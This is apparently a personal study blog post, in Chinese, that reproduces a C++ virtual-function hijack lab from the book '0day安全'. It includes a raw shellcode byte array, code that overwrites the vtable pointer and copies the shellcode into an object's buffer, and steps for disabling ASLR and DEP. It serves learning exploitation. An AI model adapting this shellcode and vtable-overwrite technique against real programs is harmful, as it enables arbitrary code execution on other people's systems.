0day-win10下实现攻击C++的虚函数

在《0day安全——软件安全分析》一书的6.3节提供了C++虚函数的攻击概念,本文为对应章节的具体实操。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 6-3-attack-virtual-func.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include "windows.h"
#define _CRT_SECURE_NO_WARNINGS

using namespace std;
// TODO: 学习写shellcode,并且将十六进制字符转为代码
char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x64\xD3\x41\x00"; //set fake virtual function pointer,180 Byte // 176Byte

// 0x0041d364+0XB0 = 0x0041d414

// 0x0040881C 地址为buf入口的地址(也就是shellcode入口的地址),0x004088CC 地址为伪造的虚函数地址
// 改地址可以放在shellcode前面也可以放在shellcode后面,在编译的时候将地址随机化和DEP关闭。

class Failwest
{
public:
char buf[200];
virtual void test(void)
{
cout << "Class Vtable::test()" << endl;
}
};


Failwest overflow, * p;

void main(void)
{
char* p_vtable;

p_vtable = overflow.buf - 4; //point to virtual table,虚表指针位于char buf[200]之前,通过这句代码定位到该指针。


//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug p_vtable[0]=0xCC;


// 0x0041d414
// ask: 这里如果直接改成buf的地址,即虚表指针指向shellcode首地址,为什么不可以
p_vtable[0] = 0x14;
p_vtable[1] = 0xd4;
p_vtable[2] = 0x41;
p_vtable[3] = 0x00;
strcpy(overflow.buf, shellcode); //set fake virtual functionpointer

p = &overflow;
p->test();
}

了解了C++虚函数的调用过程之后,我们就明白了这个代码利用了栈中的缓冲区溢出,攻击流程为:修改虚表指针的内容,将其指向shellcode的首部或者尾部(这个时候shellcode 已经被复制到缓冲区中),这个代码给的是将 虚表指针指向buf缓冲区(shellcode)的尾部,然后再将虚表中 的虚函数指针指向shellcode的首部来执行代码,那么我们如何得到这个shellcode的地址?

因为C++的虚函数在调用的时候,程序会先通过虚表指针寻找虚函数的地址,这里虚函数的地址为修改 0x0041d414,然后再修改“虚函数”的地址指向shellcode,这里“虚函数”的实际入口地址为 shellcode的尾部的8字节地址0x0041d364

还有一个问题是,visual studio2019 默认开启ASLR和DEP,我们需要在系统和编译选项中将其关闭,win10关闭ASLR比较容易,直接在设置里面就可以直接关闭,具体参见这篇文章:栈缓冲区溢出之二 ASLR ;然后在项目的选项中修改ASLR和DEP为disable即可(项目选项—>链接器—>高级)。

由于ASLR和DEP都已经关闭了,所以直接通过VS 的Debug —> Windows —> Watch (Autos)观看变量的地址。

这里得到overflow.buf的地址,我们要得到shellcode的末尾8字节的地址,就需要加上中间176个字节的shellcode字节码,即 0x0041d364+0XB0 = 0x0041d414,所以在p_vtable中填入这个地址。

最后,在这个过程中,我直接修改虚表指针指向buf的首地址为什么不可以?